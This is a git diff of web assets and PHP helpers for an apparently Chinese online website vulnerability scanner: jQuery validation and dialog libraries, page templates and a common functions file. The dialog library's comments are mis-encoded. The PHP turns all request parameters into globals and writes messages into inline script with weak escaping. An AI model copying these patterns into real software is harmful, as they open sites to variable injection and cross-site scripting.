a[d]}});c.each(a,function(d,e){a[d]=c.isFunction(e)?e(b):e});c.each(["minlength","maxlength","min","max"],function(){if(a[this])a[this]=Number(a[this])});c.each(["rangelength","range"],function(){if(a[this])a[this]=[Number(a[this][0]),Number(a[this][1])]});if(c.validator.autoCreateRanges){if(a.min&&a.max){a.range=[a.min,a.max];delete a.min;delete a.max}if(a.minlength&&a.maxlength){a.rangelength=[a.minlength,a.maxlength];delete a.minlength;delete a.maxlength}}a.messages&&delete a.messages; +return a},normalizeRule:function(a){if(typeof a=="string"){var b={};c.each(a.split(/\s/),function(){b[this]=true});a=b}return a},addMethod:function(a,b,d){c.validator.methods[a]=b;c.validator.messages[a]=d!=undefined?d:c.validator.messages[a];b.length<3&&c.validator.addClassRules(a,c.validator.normalizeRule(a))},methods:{required:function(a,b,d){if(!this.depend(d,b))return"dependency-mismatch";switch(b.nodeName.toLowerCase()){case "select":return(a=c(b).val())&&a.length>0;case "input":if(this.checkable(b))return this.getLength(a, +b)>0;default:return c.trim(a).length>0}},remote:function(a,b,d){if(this.optional(b))return"dependency-mismatch";var e=this.previousValue(b);this.settings.messages[b.name]||(this.settings.messages[b.name]={});e.originalMessage=this.settings.messages[b.name].remote;this.settings.messages[b.name].remote=e.message;d=typeof d=="string"&&{url:d}||d;if(this.pending[b.name])return"pending";if(e.old===a)return e.valid;e.old=a;var f=this;this.startRequest(b);var g={};g[b.name]=a;c.ajax(c.extend(true,{url:d, +mode:"abort",port:"validate"+b.name,dataType:"json",data:g,success:function(h){f.settings.messages[b.name].remote=e.originalMessage;var j=h===true;if(j){var i=f.formSubmitted;f.prepareElement(b);f.formSubmitted=i;f.successList.push(b);f.showErrors()}else{i={};h=h||f.defaultMessage(b,"remote");i[b.name]=e.message=c.isFunction(h)?h(a):h;f.showErrors(i)}e.valid=j;f.stopRequest(b,j)}},d));return"pending"},minlength:function(a,b,d){return this.optional(b)||this.getLength(c.trim(a),b)>=d},maxlength:function(a, +b,d){return this.optional(b)||this.getLength(c.trim(a),b)<=d},rangelength:function(a,b,d){a=this.getLength(c.trim(a),b);return this.optional(b)||a>=d[0]&&a<=d[1]},min:function(a,b,d){return this.optional(b)||a>=d},max:function(a,b,d){return this.optional(b)||a<=d},range:function(a,b,d){return this.optional(b)||a>=d[0]&&a<=d[1]},email:function(a,b){return this.optional(b)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))$/i.test(a)}, +url:function(a,b){return this.optional(b)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(a)}, +date:function(a,b){return this.optional(b)||!/Invalid|NaN/.test(new Date(a))},dateISO:function(a,b){return this.optional(b)||/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(a)},number:function(a,b){return this.optional(b)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)?$/.test(a)},digits:function(a,b){return this.optional(b)||/^\d+$/.test(a)},creditcard:function(a,b){if(this.optional(b))return"dependency-mismatch";if(/[^0-9 -]+/.test(a))return false;var d=0,e=0,f=false;a=a.replace(/\D/g,"");for(var g=a.length-1;g>= +0;g--){e=a.charAt(g);e=parseInt(e,10);if(f)if((e*=2)>9)e-=9;d+=e;f=!f}return d%10==0},accept:function(a,b,d){d=typeof d=="string"?d.replace(/,/g,"|"):"png|jpe?g|gif";return this.optional(b)||a.match(RegExp(".("+d+")$","i"))},equalTo:function(a,b,d){d=c(d).unbind(".validate-equalTo").bind("blur.validate-equalTo",function(){c(b).valid()});return a==d.val()}}});c.format=c.validator.format})(jQuery); +(function(c){var a={};if(c.ajaxPrefilter)c.ajaxPrefilter(function(d,e,f){e=d.port;if(d.mode=="abort"){a[e]&&a[e].abort();a[e]=f}});else{var b=c.ajax;c.ajax=function(d){var e=("port"in d?d:c.ajaxSettings).port;if(("mode"in d?d:c.ajaxSettings).mode=="abort"){a[e]&&a[e].abort();return a[e]=b.apply(this,arguments)}return b.apply(this,arguments)}}})(jQuery); +(function(c){!jQuery.event.special.focusin&&!jQuery.event.special.focusout&&document.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(e){e=c.event.fix(e);e.type=b;return c.event.handle.call(this,e)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)},handler:function(e){arguments[0]=c.event.fix(e);arguments[0].type=b;return c.event.handle.apply(this,arguments)}}});c.extend(c.fn,{validateDelegate:function(a, +b,d){return this.bind(b,function(e){var f=c(e.target);if(f.is(a))return d.apply(f,arguments)})}})})(jQuery); diff --git a/html/images/jw.js b/html/images/jw.js new file mode 100644 index 0000000..97fb8a2 --- /dev/null +++ b/html/images/jw.js @@ -0,0 +1,471 @@ + +(function($){ + window.jw=window.jw||{}; + if(window.jw.version)return; + + window.jw={ + version: "20110921 1.0", + ok_text:"ȷ ", + alert_title:"ʾ", + + //tab ѡ + tab:function(headItems, contentItems,fn,i) { + var C = $(headItems), B = $(contentItems); + C.click(function(e) { + var i = C.index(this); + if(fn && $.isFunction(fn)){ + if(fn.call(this,i,e)===false)return false; + } + C.removeClass("cur"); + $(this).addClass("cur"); + B.hide().eq(i).show(); + }); + if(C.filter('.cur').size()<1)C.eq(i||0).addClass("cur"); + C.filter('.cur').trigger('click'); + }, + + //ֲ + over:function(opt){ + opt=opt||'show'; + var over,bh=$(document).height(); + if(opt=='show'){ + if($('.jw-over').length)return; + over=$('
'); + $().ready(function(){ + $(document.body).append(over); + $('html').addClass('jw-over-hidden'); + (typeof $.fn.bgiframe=='function') && over.bgiframe(); + over.height(bh); + }); + }else{ + $('html').removeClass('jw-over-hidden'); + setTimeout(function(){$('.jw-over').remove();},1); + } + }, + + //ʹie6 ֧ position fixed + position_fixed:function(target,win){ + target=$(target); + win=win||window; + var ie6=$.browser.msie && $.browser.version<=6; + var pos=target.css('position'); + var st=$(win).scrollTop(); + if(!ie6){ + if(pos!='fixed'){ + var of=target.offset(); + target.css({top:(of.top-st),position:'fixed'}); + }else{ + target.css({position:'fixed'}); + } + return true; + } + var bottom=parseInt(target.css('bottom')); + var top=parseInt(target.css('top')); + if(bottom){ + target.css({'top':($(win).height()+st-bottom-40),position:'absolute'}); + }else{ + target.css({'top':(st+top-((pos=='absolute')?st:0)),position:'absolute'}); + } + + $(win).bind('scroll resize',function(){ + var a=$(win).scrollTop(); + target.css({'top':target.offset().top+a-st}); + st=a; + a=null; + }); + }, + + + //ؼ϶֧ + drag:function(bar,target,win){ + var b=$(bar),t=target?$(target):b,x,y,moving=false,opacity,zi; + var _p=t.css('position'); + win=win||window; + var ifr=t.find('iframe'),over=null; + b.mousedown(function(e){ + if(_p!='absolute' && _p!='fixed'){ + t.css('position',"absolute"); + } + zi=zi||t.css('z-index'); + opacity=opacity||t.css('opacity')||1.0; + x= e.clientX; + y= e.clientY; + moving=true; + _p=t.css('position'); + b.css('cursor', 'move'); + t.css({'opacity':opacity*0.7,'z-index':90000}); + if(ifr){ + //ͨʹtimeoutС仯ʱiframeĸ߶Ҫʱ仯ĸ߶Ա֤ǰ겻iframe + setTimeout(function(){ + var h=ifr.height(); + over=("
"); + over=ifr.after(over).next('.jw-drag-over'); + },1); + }; + return false; + }).mouseup(stop); + $(win.document.body).mousemove(function(e1){ + if(moving){ + var offset=t.offset(); + if(_p=='fixed'){ + offset={top:offset.top-$(win).scrollTop(),left:offset.left-$(win).scrollLeft()}; + } + t.css({top:offset.top+(e1.clientY-y),left:offset.left+(e1.clientX-x)}); + x=e1.clientX; + y=e1.clientY; + } + return false; + }).mouseup(stop); + function stop(e){ + moving=false; + b.css('cursor', 'default'); + t.css({'opacity':opacity,'z-index':zi}); + over && over.remove(); + return false; + } + }, + + /** + * + * dialog ڵԪ .close clickʱ Թرոdialog + *@param id Ҫdialog ʽʾIJ ID + *@param option.title ⡣Ϊfalse ʱʾ + *@param option.close Ƿʾclose ť + *@param option.max Ƿʾ ť + *@param option.rel ajax ҳĵַ Ϊһҳַ + *@param option.iframe rel ʹiframe ҳ + + *@param option.width (%) + *@param option.height ߶(ʹ% + *@param option.fixed Ƿdialog ҳ + *@param option.over ĬΪtrue,ʾֱ + *@param option.drag Ƿ϶Ĭ + *@param option.onMax ¼ + *@param option.onClose ر¼ + */ + dialog:function(option){ + var op=option||{}; + option=$.extend({},{ + width:300, + height:100, + close:true, + drag:true, + over:true, + fixed:true, + id:null, + html:null, + title:'', + iframeScroll:true, + iframeFetchTitle:true, + zIndex:301, + onLoad:function(){}, + onClose:function(){}, + onMax:function(){}, + target:window + },op); + var win=option.target, + ww=$(win).width(), + wh=$(win).height(), + _id="jw-dialog-"+new Date().getTime(),header, + _style="top:"+(0.75*wh/2+$(win).scrollTop())+"px;left:"+(ww/2+$(win).scrollLeft())+"px;width:1px;height:1px", + dialog="
"; + _style=null; + dialog=$(win.document.body).append(dialog).find("#"+_id); + option.over && this.over(); + option.fixed && this.position_fixed(dialog,win); + var bd=$('.jw-dialog-bd',dialog), + hd=$('.jw-dialog-hd',dialog), + isMax=false, + isFixed=false, + that=this, + th=hd.outerHeight(); + + $(win).resize(function(){ + ww=$(win).width(); + wh=$(win).height(); + }); + setTimeout(function(){ + dialog.css('z-index',option.zIndex); + setSize(option.width,option.height); + },0); + if(option.id){ + bd.append($(option.id).clone(true).show()); + autoBounds(); + }else if(option.html!=null){ + bd.append(option.html); + autoBounds(); + } + if(option.title!==false){ + var _div=""+(option.title||' ')+"
"; + option.max!=false && (header+=_div+" class='max'>"); + option.close!=false && (header+=_div+" class='close'>"); + header+="
"; + header=hd.append(header).find('table'); + }else{ + hd.remove(); + th=0; + } + function setTitle(title){ + option.title!==false && header.find('.jw-title').text(title); + } + + function setSize(width,height){ + ((width+"").indexOf("%")>0) && (width=(ww*parseFloat(width)/100.0)); + ((height+"").indexOf("%")>0) && (height=(wh*parseFloat(height)/100.0)); + height = option.height > 0 ? option.height : height + autoBounds(parseInt(width),parseInt(height)); + }; + function scrollPos(){ + isFixed=dialog.css('position')=='fixed'; + return {top:isFixed?0:$(win).scrollTop(),left:isFixed?0:$(win).scrollLeft()}; + } + + function autoBounds(_w,_h){ + var h=Math.min(Math.max(_h||0,option.height,140),wh-5-th); + var w=Math.min(Math.max(_w||0,dialog.width(),option.width,300,bd.width()),ww); + var top=0.75*(wh-h)/2+scrollPos().top, + left=(ww-w)/2+scrollPos().left; + setBounds(top,left,w,h); + } + + function setBounds(top,l,width,height){ + if(!width || !height)return; + width=Math.min(width,ww); + height=Math.min(height,wh-th); + dialog.animate({top:top,left:l,width:width,height:height+th}); + if(!option.iframe && !isMax){ + bd.css('height','auto'); + }else{ + bd.animate({height:height}); + } + } + + function setLocation(top,left){ + dialog.animate({top:top,left:left}); + } + + + var last={},lastMaxClickTime=0; + function close(e){ + if(e)e.stopPropagation(); + that.over('close'); + if(0===option.onClose())return false; + + dialog.animate({top:wh/2+scrollPos().top,left:ww/2,width:0,height:0},function(){ + dialog.remove(); + }); + return false; + } + + function max(e){ + if(e)e.stopPropagation(); + var cTime=new Date().getTime(); + if(cTime-lastMaxClickTime<300)return false; + lastMaxClickTime=cTime; + if(isMax){ + isMax=false; + setBounds(last.top,last.left,last.width,last.height); + }else{ + isMax=true; + var t=scrollPos().top; + last={top:dialog.offset().top-(isFixed?$(win).scrollTop():0),left:dialog.offset().left,width:dialog.width(),height:bd.height()}; + setBounds(t,scrollPos().left,ww,wh-th); + t=null; + } + var _max=header.find('.max'); + isMax?_max.addClass('maxed'):_max.removeClass('maxed'); + option.onMax(); + return false; + } + + function toCenter(w,h){ + w=w||1; + h=h||1; + dialog.css({top:0.75*(wh-h)/2,left:(ww-w)/2,width:w,height:h+th}); + bd.height(h); + } + var dialogFn={close:close, + setSize:setSize, + setBounds:setBounds, + setLocation:setLocation, + setTitle:setTitle, + setBody:function(html){bd.html(html)}, + dialog:dialog, + bd:bd + }; + + if(option.rel){ + bd.css('height','auto').empty().load(option.rel,function(){ + setTimeout(function(){ autoBounds(bd.width(),bd.height());},100); + setTimeout(function(){option.onLoad.call(dialogFn);},150); + }); + }else if(option.iframe){ + var ifr=""; + ifr=bd.append(ifr).find('.iframe'); + var isLoaded=false,loading=null; + setTimeout(function(){ + if(isLoaded)return; + loading="
 
"; + loading=bd.append(loading).find('.jw-dialog-loading'); + },100); + ifr.load(function(){ + isLoaded=true; + if(loading){loading.remove();loading=null;} + var c=null,cl=0; + try{ c=$(this).contents(); cl=$('body',c).html().length;}catch(e){} + if(c){ + if(cl>0 ){ + c.find('.close').click(close).end().find('.max').click(max); + $('body',c).bind('close',close); + if(option.iframeFetchTitle){ + var it=c.attr('title'); + if(it.length)setTitle(it); + } + setTimeout(function(){ + !op.width && dialog.width(300); + !op.height && bd.height(100); + setSize(c.width(),c.height()); + },5);//use timeout to fix ie + }else{ + setSize(option.width,option.height); + } + }else{ + autoBounds(); + } + option.onLoad.call(dialogFn); + }); + }else{ + option.onLoad.call(dialogFn); + } + + //ûֲʱܻжdialog + if(!option.over){ + dialog.click(function(){ + var _max=option.zIndex; + $('.jw-dialog',win.document).not(dialog).each(function(){ + _max=Math.max(_max,parseInt($(this).css('z-index'))+1); + }); + dialog.css('z-index',_max); + }); + } + + var fn=function(){autoBounds();dialog.is(":visible")&&that.over();}; + $(win).resize(fn); + + dialog.bind('close',close).find('.close').live('click mousedown',close).end().find('.max').live('click mousedown',max); + if(option.close!==false){ + $(win).keydown(function(e){ + e.keyCode==27 && close(); + }); + } + option.drag && header && this.drag(header,dialog,win); + return dialogFn; + }, + + //ҳײʾϢ + msg:function(message,time,callFn){ + function createUI(){ + var tmp="
"+message+"
"; + var div=$(tmp); + div.appendTo('body').css('opacity',0.1).animate({opacity:0.8}); + jw.position_fixed(div); + if($.isFunction(time)){ + callFn=time; + time=0; + } + time=time||3000; + if($.isFunction(callFn)){ + div.bind('jw-msg-call',callFn); + } + if(time>0){ + setTimeout(function(){ + div.animate({opacity:0},2000,function(){ + $(this).remove(); + }).trigger('jw-msg-call'); + },time); + } + } + if($('.jw-msg').size()){ + $('.jw-msg').animate({width:0,height:0,left:$(window).width()/2}, + function(){ + $(this).trigger('jw-msg-call').remove(); + createUI(); + }); + }else{ + createUI(); + } + }, + + processbar:function(id,value){ + var bar=$(id), + t=bar.find('.jw-pbar-t'); + if(!t.size()){ + bar.addClass("jw-pbar").html("
0%
 
"); + t=bar.find('.jw-pbar-t'); + } + var v=bar.find('.jw-pbar-v'); + function setval(value){ + value=parseInt(Math.min(Math.max(value||0,0),100)); + t.html(value+"%").width(bar.width()); + v.css("width",value+"%"); + } + setval(value); + return { + val:function(pv){ + if(typeof pv=='undefined'){ + return parseInt(t.text()); + }else{ + setval(pv); + } + } + }; + } + + }; + +})(jQuery); + +;(function($){ + + /** + * jw.alert + * ʾһͼʾ + * @param text ʾ + * @param ico ʾͼ꣨ 1x1,5x2) jw-icons.gifеͼƬ ÿͼƬСΪ50px + * @param title ʾ + * @fn ȷʱĻص + */ + var jwalert=function(text,option){ + option=$.extend({},{icon:1, + ok:jw.ok_text, + onOk:function(){}, + cancle:null, + onCancle:function(){}, + title:jw.alert_title + },option||{}); + var ico=(option.icon+"").split("x"), + x=ico[0],y=ico.length==2?ico[1]:1; + id="jwalert"+new Date().getTime(), + style="background-position:-"+(x-1)*50+"px -"+(y-1)*50+"px;", + code="
" + + "
"+(text||'')+"
" + + "
" + + ""; + if(option.cancle!=null){ + code+="  "; + } + code+="
"; + style=x=ico=null; + var div=$(code), + ja=null, + timer=null; + function call_bk(fn){if(fn()===false)return;ja.close();}; + $('#'+id+"_ok",div).click(function(){timer && clearTimeout(timer);call_bk(option.onOk);}); + $('#'+id+"_cannel",div).click(function(){call_bk(option.onCancle);}); + ja=jw.dialog({id:div,max:false,close:false,title:option.title,fixed:true,width:350,over:true}); + if(option.time)timer=setTimeout(function(){call_bk(option.onOk);},option.time); + }; + $.extend(jw,{alert:jwalert}); +})(jQuery); \ No newline at end of file diff --git a/html/images/lere.gif b/html/images/lere.gif new file mode 100644 index 0000000..5b46d41 Binary files /dev/null and b/html/images/lere.gif differ diff --git a/html/images/lerey.gif b/html/images/lerey.gif new file mode 100644 index 0000000..f39bf38 Binary files /dev/null and b/html/images/lerey.gif differ diff --git a/html/images/loginbg.jpg b/html/images/loginbg.jpg new file mode 100644 index 0000000..11197fb Binary files /dev/null and b/html/images/loginbg.jpg differ diff --git a/html/images/loginmain.jpg b/html/images/loginmain.jpg new file mode 100644 index 0000000..7bc0c20 Binary files /dev/null and b/html/images/loginmain.jpg differ diff --git a/html/images/loginsubmit.jpg b/html/images/loginsubmit.jpg new file mode 100644 index 0000000..44af769 Binary files /dev/null and b/html/images/loginsubmit.jpg differ diff --git a/html/images/ok.gif b/html/images/ok.gif new file mode 100644 index 0000000..3170d0b Binary files /dev/null and b/html/images/ok.gif differ diff --git a/html/images/public.js b/html/images/public.js new file mode 100644 index 0000000..864dca3 --- /dev/null +++ b/html/images/public.js @@ -0,0 +1,21 @@ +function TickBoxEditPwd() +{ + if($("#oldpwd").val()=="") + { + alert("请填写旧的密码"); + $("#oldpwd").focus(); + return false; + } + if($("#newpwd").val()=="") + { + alert("请填写新的密码"); + $("#newpwd").focus(); + return false; + } + if($("#newpwd").val() != $("#newpwd2").val()) + { + alert("两次密码不相同,请重新输入"); + $("#newpwd").focus(); + return false; + } +} \ No newline at end of file diff --git a/html/images/regsubmit.jpg b/html/images/regsubmit.jpg new file mode 100644 index 0000000..86533f7 Binary files /dev/null and b/html/images/regsubmit.jpg differ diff --git a/html/images/tickbox.js b/html/images/tickbox.js new file mode 100644 index 0000000..a334b98 --- /dev/null +++ b/html/images/tickbox.js @@ -0,0 +1,143 @@ +//2009-6-3 lingye hangzhou fuyang +var TickBox=function(){ + var rand=Math.round(Math.random()*10000); + var HTMLCode=''; + return{ + w:0, + h:0, + obj:null, + md:false, + mobj:null, + ox:0, + oy:0, + content:".tickbox", + ctype:"el", + Show:function(title,content,ctype,w,h,obj){ + $("#tickbox").remove() + this.appendHTML("
<\/div>"); + this.appendHTML("
<\/div>"); + this.w=w; + this.h=h; + this.obj=obj; + this.ctype=ctype; + this.content=content; + this.SetSize(); + HTMLCode=""; + if(ctype==null) ctype="" + switch(ctype.toLowerCase()){ + case "message" : + HTMLCode='
系统提示
\r\n'; + HTMLCode+='
'; + if(content==0) + { + content = "history.go(-1)"; + } + else + { + content = "window.location.href='"+content+"'"; + } + HTMLCode+="
"+title+"
"; + HTMLCode+='
'; + $("#tickbox").html(HTMLCode); + break; + case "iframe" : + HTMLCode+='
'+title+'
\r\n'; + HTMLCode+='
'; + HTMLCode+=''; + HTMLCode+='
'; + $("#tickbox").html(HTMLCode); + break; + } + //event + $(document).mousedown(function(ev){ + var ev=ev||window.event; + var evt=ev.srcElement||ev.target; + if($(evt).attr("canmove")=="true"){ + this.md=true; + this.mobj = $("#tickbox"); + this.ox = this.mobj.offset().left - ev.clientX; + this.oy = this.mobj.offset().top - ev.clientY; + } + }); + $(document).mouseup(function(ev){this.md=false;}); + $(document).mousemove(function(ev){ + var ev=ev||window.event; + if(this.md){ + this.mobj.css("left",(ev.clientX + this.ox)+"px"); + this.mobj.css("top",(ev.clientY + this.oy)+"px"); + } + }); + $(window).resize(function(){ + TickBox.SetSize(); + }); + $(window).scroll(function(){ + TickBox.SetSize(); + }); + $("#tickbox-bg").click(function(){ + TickBox.Hide(); + }); + }, + SetSize:function(){ + top=0;left=0; + w=TickBox.w;h=TickBox.h; + if(!w) w=400; + if(!h) h=300; + obj=TickBox.obj; + if(obj!=null){ + var top=$(obj).offset().top; + if(top < Math.round(h/2)+10){ + top=5; + } + else if(($(window).height()-top) < Math.round(h/2)+10){ + top=$(window).height()-h-5; + } + else{ + top=top-Math.round(h/2) + } + var left=$(obj).offset().left+$(obj).width(); + + if(left < Math.round(w/2)+10){ + left=5; + } + else if(($(window).width()-left) < Math.round(w/2)+10){ + left=$(window).width()-w-5; + } + else{ + left=left-Math.round(w/2) + } + top=top+$(document).scrollTop(); + left=left-$(document).scrollLeft(); + }else{ + top=Math.round(($(window).height()-h)/2+$(document).scrollTop())-5; + left=Math.round(($(window).width()-w)/2-$(document).scrollLeft())-5; + } + $("#tickbox-bg").height($(document).height()); + $("#tickbox-bg").width($(window).width()); + $("#tickbox").css("height",h); + $("#tickbox").css("width",w); + $("#tickbox").css("top",top); + $("#tickbox").css("left",left); + //$("#tickbox-bg").css("top",$(document).scrollTop()); + $("#tickbox-bg").css("left",$(document).scrollLeft()); + }, + appendHTML:function(htmlcode){ + + $("body").append(htmlcode); + $("body").append("") + }, + Hide:function(){ + if(TickBox.ctype=="el"){ + $(TickBox.content).css("display","none"); + $("body").append($(TickBox.content)); + } + $("#tickbox").remove() + //$("#tickbox").slideUp("slow"); + $("#tickbox-bg").remove(); + } + } +}(); + +function CloseTickBox(){ + TickBox.Hide(); + location.reload(); +} diff --git a/html/images/topbg.jpg b/html/images/topbg.jpg new file mode 100644 index 0000000..62d65ee Binary files /dev/null and b/html/images/topbg.jpg differ diff --git a/html/images/toplogo.png b/html/images/toplogo.png new file mode 100644 index 0000000..c6a383a Binary files /dev/null and b/html/images/toplogo.png differ diff --git a/html/images/toprightbg.png b/html/images/toprightbg.png new file mode 100644 index 0000000..d1b8bbc Binary files /dev/null and b/html/images/toprightbg.png differ diff --git a/html/index.html b/html/index.html new file mode 100644 index 0000000..a2c5bd3 --- /dev/null +++ b/html/index.html @@ -0,0 +1,51 @@ + + + + +网站漏洞扫描系统 + + + + +
+ + | '.$_SERVER["REMOTE_ADDR"];?> | 加添任务 | 查看任务 | 漏洞列表 | 退出';}else{echo '登录';}?>
+ +

+
一个简洁实用的在线Web安全扫描平台!
+

+ +
+ +

+ +

+ +
+

+

+" type="text" autocomplete="off" size='80' style="height:27px;z-index:0;font-size:17px;" tabindex="1"> +" /> + +

+ +
+ +

+ + + + + + + +
扫描项目
+

+ +
+
+ + + diff --git a/html/login.htm b/html/login.htm new file mode 100644 index 0000000..877a7d8 --- /dev/null +++ b/html/login.htm @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + +
+
+
+
+ + + + + +
+
+ + + +
+
+ + diff --git a/html/reg.htm b/html/reg.htm new file mode 100644 index 0000000..8f5ff87 --- /dev/null +++ b/html/reg.htm @@ -0,0 +1,59 @@ + + + + +用户注册—<?php echo $sitename?> + + + + + + + +
+
+
+
+
用户注册
+
+
    +
  • 用 户 名:
  • +
  • 密  码:
  • +
  • 手机号码:
  • +
  • 注 册 码:
  • +
  • +
  • +
+
+
+
+
+
+ +
+ + diff --git a/html/reg_key.html b/html/reg_key.html new file mode 100644 index 0000000..ca19580 --- /dev/null +++ b/html/reg_key.html @@ -0,0 +1,34 @@ + + + + +网站漏洞扫描系统 + + + +
+ + | '.$_SERVER["REMOTE_ADDR"];?> | 加添任务 | 查看任务 | 漏洞列表 | 退出';}else{echo '登录';}?>
+ +

+
一个简洁实用的在线Web安全扫描平台!
+

+ +
+ +
+ + + + + + + + +
注册码操 作
+
+ + + diff --git a/html/task.html b/html/task.html new file mode 100644 index 0000000..8dd1e98 --- /dev/null +++ b/html/task.html @@ -0,0 +1,36 @@ + + + + +网站漏洞扫描系统 + + + +
+ + | '.$_SERVER["REMOTE_ADDR"];?> | 加添任务 | 查看任务 | 漏洞列表 | 退出';}else{echo '登录';}?>
+ +

+
一个简洁实用的在线Web安全扫描平台!
+

+ +
+ +
+ + + + + + + + + + +
目标状态时间操作
+
+ + + diff --git a/html/task_list.html b/html/task_list.html new file mode 100644 index 0000000..2990e52 --- /dev/null +++ b/html/task_list.html @@ -0,0 +1,36 @@ + + + + +网站漏洞扫描系统 + + + +
+ + | '.$_SERVER["REMOTE_ADDR"];?> | 加添任务 | 查看任务 | 漏洞列表 | 退出';}else{echo '登录';}?>
+ +

+
一个简洁实用的在线Web安全扫描平台!
+

+ +
+ +
+ + + + + + + + + + +
问题名称返回信息级别时间
+
+ + + diff --git a/include/common.fun.php b/include/common.fun.php new file mode 100644 index 0000000..d349461 --- /dev/null +++ b/include/common.fun.php @@ -0,0 +1,538 @@ + $_v) ${$_k} = _runmagicquotes($_v); +} +function _runmagicquotes(&$svar){ + if(!get_magic_quotes_gpc()){ + if( is_array($svar) ){ + foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v); + }else{ + $svar = addslashes($svar); + } + } + return $svar; +} +function Ajaxmsg($msg) +{ + echo $msg; + exit(); +} +function AjaxJsonMsg($arr) +{ + foreach ($arr as $k=>$v) + { + $arr[$k] = iconv("GB2312","UTF-8",$v); + } + echo json_encode($arr); + exit(); +} +/***弹出信息*/ +function Message($msg,$gourl=0,$onlymsg=0,$limittime=1000){ + global $sitename,$includeurl; + $htmlhead = "\r\n\r\n{$sitename}提示信息\r\n\r\n"; + $htmlhead .= "\r\n\r\n\r\n
\r\n\r\n
\r\n\r\n\r\n"; + $litime = ($limittime==0 ? 1000 : $limittime); + $func = ''; + if($gourl=='-1'){ + if($limittime==0) $litime = 1000; + $gourl = "javascript:history.go(-1);"; + } + if($gourl=='0'){ + if($limittime==0) $litime = 1000; + $gourl = "javascript:history.back();"; + } + if($gourl=='' || $onlymsg==1){ + $msg = ""; + }else{ + if(preg_match('/close::/i',$gourl)){ + $tgobj = trim(eregi_replace('close::', '', $gourl)); + $gourl = 'javascript:;'; + $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n"; + } + + $func .= " var pgo=0; + function JumpUrl(){ + if(pgo==0){ location='$gourl'; pgo=1; } + }\r\n"; + $rmsg = $func; + $rmsg .= "document.write(\"
"; + $rmsg .= "
{$sitename} 提示信息!
\");\r\n"; + $rmsg .= "document.write(\"

\");\r\n"; + $rmsg .= "document.write(\"".str_replace("\"","“",$msg)."\");\r\n"; + $rmsg .= "document.write(\""; + + if($onlymsg==0){ + if( $gourl != 'javascript:;' && $gourl != ''){ + $rmsg .= "
如果你的浏览器没反应,请点击这里..."; + $rmsg .= "
\");\r\n"; + $rmsg .= "setTimeout('JumpUrl()',$litime);"; + }else{ + $rmsg .= "
